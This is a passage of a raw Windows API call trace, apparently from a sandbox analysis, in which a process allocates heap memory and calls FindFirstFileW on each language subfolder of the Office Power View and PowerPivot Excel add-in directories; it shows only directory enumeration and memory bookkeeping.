(HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.879] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHS\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf4c15e5f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0095.883] GetProcessHeap () returned 0x11a0000 [0095.883] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.883] GetProcessHeap () returned 0x11a0000 [0095.883] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.883] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\Power View Excel Add-in\\zh-CHT\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf47e9c8f, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x164159c7, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x164159c7, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b588 [0095.886] GetProcessHeap () returned 0x11a0000 [0095.886] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.886] GetProcessHeap () returned 0x11a0000 [0095.886] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3f10048 | out: hHeap=0x11a0000) returned 1 [0095.887] GetProcessHeap () returned 0x11a0000 [0095.887] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3f10048 [0095.888] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\*", lpFindFileData=0x347e7d0 | out: lpFindFileData=0x347e7d0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16841bb6, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16841bb6, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1fc, cFileName=".", cAlternateFileName="")) returned 0x3b8b148 [0095.893] GetProcessHeap () returned 0x11a0000 [0095.893] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.894] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ar\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1c1a793, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x163ef7bf, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x163ef7bf, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b208 [0095.898] GetProcessHeap () returned 0x11a0000 [0095.898] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.898] GetProcessHeap () returned 0x11a0000 [0095.899] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.899] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\bg\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1ac3289, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x165b9401, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x165b9401, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0095.910] GetProcessHeap () returned 0x11a0000 [0095.910] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.910] GetProcessHeap () returned 0x11a0000 [0095.911] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.911] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ca\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf6296213, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16605845, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16605845, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b348 [0095.914] GetProcessHeap () returned 0x11a0000 [0095.914] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.914] GetProcessHeap () returned 0x11a0000 [0095.914] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.915] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\Cartridges\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x164ae360, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b5c8 [0095.918] GetProcessHeap () returned 0x11a0000 [0095.918] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.918] GetProcessHeap () returned 0x11a0000 [0095.918] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.918] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\cs\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16651cf9, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16651cf9, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0095.921] GetProcessHeap () returned 0x11a0000 [0095.921] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.921] GetProcessHeap () returned 0x11a0000 [0095.921] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.921] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\da\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf10a1263, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x1662bb01, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x1662bb01, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b788 [0095.925] GetProcessHeap () returned 0x11a0000 [0095.925] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0095.925] GetProcessHeap () returned 0x11a0000 [0095.925] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b64798 [0095.925] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\de\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff31e88, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0096.341] GetProcessHeap () returned 0x11a0000 [0096.341] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b64798 | out: hHeap=0x11a0000) returned 1 [0096.342] GetProcessHeap () returned 0x11a0000 [0096.342] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.343] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\el\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff580e7, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0096.348] GetProcessHeap () returned 0x11a0000 [0096.348] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.348] GetProcessHeap () returned 0x11a0000 [0096.348] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.348] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\en\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x167a9331, ftCreationTime.dwHighDateTime=0x1d327e8, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b048 [0096.349] GetProcessHeap () returned 0x11a0000 [0096.349] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.349] GetProcessHeap () returned 0x11a0000 [0096.349] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.349] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\es\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf00d5872, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b348 [0096.357] GetProcessHeap () returned 0x11a0000 [0096.358] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.358] GetProcessHeap () returned 0x11a0000 [0096.358] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.358] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\et\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1480f75, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b388 [0096.364] GetProcessHeap () returned 0x11a0000 [0096.364] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.364] GetProcessHeap () returned 0x11a0000 [0096.364] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.364] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\eu\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0194432, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b748 [0096.370] GetProcessHeap () returned 0x11a0000 [0096.370] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.370] GetProcessHeap () returned 0x11a0000 [0096.370] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.370] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fi\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xeff0bc27, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0096.375] GetProcessHeap () returned 0x11a0000 [0096.375] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.375] GetProcessHeap () returned 0x11a0000 [0096.375] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.375] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\fr\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf458770a, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b408 [0096.380] GetProcessHeap () returned 0x11a0000 [0096.380] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.380] GetProcessHeap () returned 0x11a0000 [0096.380] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.380] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\gl\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf05741b2, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b508 [0096.506] GetProcessHeap () returned 0x11a0000 [0096.506] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.506] GetProcessHeap () returned 0x11a0000 [0096.506] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.506] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\he\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0089415, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b4c8 [0096.542] GetProcessHeap () returned 0x11a0000 [0096.542] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.542] GetProcessHeap () returned 0x11a0000 [0096.542] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.542] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hi\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1de43d5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16783027, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16783027, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b608 [0096.549] GetProcessHeap () returned 0x11a0000 [0096.549] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.549] GetProcessHeap () returned 0x11a0000 [0096.549] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.549] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hr\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0f23aa6, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b648 [0096.554] GetProcessHeap () returned 0x11a0000 [0096.554] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.554] GetProcessHeap () returned 0x11a0000 [0096.554] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.554] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\hu\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x16710914, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x16710914, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b108 [0096.559] GetProcessHeap () returned 0x11a0000 [0096.559] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.559] GetProcessHeap () returned 0x11a0000 [0096.559] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.559] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\id\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf158c060, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b488 [0096.563] GetProcessHeap () returned 0x11a0000 [0096.563] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.563] GetProcessHeap () returned 0x11a0000 [0096.563] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.564] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\it\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf1bce2f5, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167cf4d5, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167cf4d5, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b0c8 [0096.568] GetProcessHeap () returned 0x11a0000 [0096.568] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.568] GetProcessHeap () returned 0x11a0000 [0096.568] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.568] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ja\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefd68243, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b008 [0096.574] GetProcessHeap () returned 0x11a0000 [0096.574] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.574] GetProcessHeap () returned 0x11a0000 [0096.574] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.575] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\kk\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf2ebae3b, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b208 [0096.579] GetProcessHeap () returned 0x11a0000 [0096.579] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.579] GetProcessHeap () returned 0x11a0000 [0096.579] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.580] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\ko\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xefe4d066, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", cAlternateFileName="")) returned 0x3b8b188 [0096.755] GetProcessHeap () returned 0x11a0000 [0096.755] HeapFree (in: hHeap=0x11a0000, dwFlags=0x0, lpMem=0x3b53788 | out: hHeap=0x11a0000) returned 1 [0096.755] GetProcessHeap () returned 0x11a0000 [0096.755] RtlAllocateHeap (HeapHandle=0x11a0000, Flags=0x0, Size=0x10000) returned 0x3b53788 [0096.755] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\root\\Office16\\ADDINS\\PowerPivot Excel Add-in\\lt\\*", lpFindFileData=0x347e548 | out: lpFindFileData=0x347e548*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf0063153, ftCreationTime.dwHighDateTime=0x1d327e7, ftLastAccessTime.dwLowDateTime=0x167a9331, ftLastAccessTime.dwHighDateTime=0x1d327e8, ftLastWriteTime.dwLowDateTime=0x167a9331, ftLastWriteTime.dwHighDateTime=0x1d327e8, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x1f0, cFileName=".", 